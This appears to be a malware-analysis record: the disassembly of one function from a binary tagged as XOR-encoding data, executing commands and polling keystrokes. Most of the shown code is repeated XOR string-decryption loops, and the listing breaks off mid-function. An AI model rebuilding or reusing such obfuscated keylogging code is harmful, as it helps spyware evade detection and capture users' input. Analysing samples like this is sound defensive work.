Function at 0x14002deb0
Capabilities:
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3c8]
sub rsp, 0x4a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140480c38]
xor rax, rsp
mov qword [rbp + 0x368], rax
xor r15d, r15d
mov dword [rsp + 0x44], r15d
movzx r14d, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
mov r13d, dword [reloc.WS2_32.dll_accept]
mov r12d, 1
call fcn.14003a770
movups xmm0, xmmword [0x1401fef40]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401fef50]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002e097
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002df90
cmp r8d, 0x11
jge 0x14002e0df
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002e0b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002e105
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 0x7c], 0xff
mov dword [rbp - 0x74], 0xff
mov qword [rbp - 0x70], r15
mov dword [rbp - 0x68], 0xff
movups xmm0, xmmword [0x1401fef58]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401fef68]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002e2c7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002e1c0
cmp r8d, 0x11
jge 0x14002e30f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002e2e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002e335
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea r9, [rbp - 0x7c]
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002e37d
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14002e3da
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e3d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369ac
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14002e434
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e42f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369b3
call fcn.1400b7470
movups xmm0, xmmword [0x1401fef70]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401fef80]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002e5a7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002e4a0
cmp r8d, 0x11
jge 0x14002e5ef
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002e5c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002e615
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 0x64], 0xff
mov dword [rbp - 0x5c], 0xff
mov qword [rbp - 0x58], r15
mov dword [rbp - 0x50], 0xff
movups xmm0, xmmword [0x1401fef88]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, word [0x1401fef98]
mov word [rbp + 0x200], ax
movzx eax, byte [0x1401fef9a]
mov byte [rbp + 0x202], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002e7e7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002e6e0
cmp r8d, 0x13
jge 0x14002e82f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002e800
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002e855
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea r9, [rbp - 0x64]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002e89d
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14002e8fa
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e8f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369ba
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14002e954
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e94f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369c1
call fcn.1400b7470
movups xmm0, xmmword [0x1401fefa0]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401fefb0]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002eac7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002e9c0
cmp r8d, 0x11
jge 0x14002eb0f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002eae0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002eb35
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 0x4c], 0xff
mov dword [rbp - 0x44], 0xff
mov qword [rbp - 0x40], r15
mov dword [rbp - 0x38], 0xff
movups xmm0, xmmword [0x1401fefb8]
movups xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x1401fefc8]
mov dword [rbp + 0x200], eax
cmp byte [0x1401fefcb], 0
je 0x14002ed4f
mov r8d, r15d
cmp r13d, 2
jl 0x14002ed07
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002ec00
cmp r8d, 0x14
jge 0x14002ed4f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002ed20
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002ed75
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea r9, [rbp - 0x4c]
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002edbd
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14002ee1a
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ee15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369c8
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14002ee74
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ee6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369cf
call fcn.1400b7470
movups xmm0, xmmword [0x1401fefd0]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401fefe0]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002efe7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002eee0
cmp r8d, 0x11
jge 0x14002f02f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002f000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002f055
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x60], 0xff
mov dword [rsp + 0x68], 0xff
mov qword [rbp - 0x28], r15
mov dword [rbp - 0x20], 0xff
movups xmm0, xmmword [0x1401fefe8]
movups xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x1401feff8]
mov dword [rbp + 0x200], eax
cmp byte [0x1401feffb], 0
je 0x14002f26f
mov r8d, r15d
cmp r13d, 2
jl 0x14002f227
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
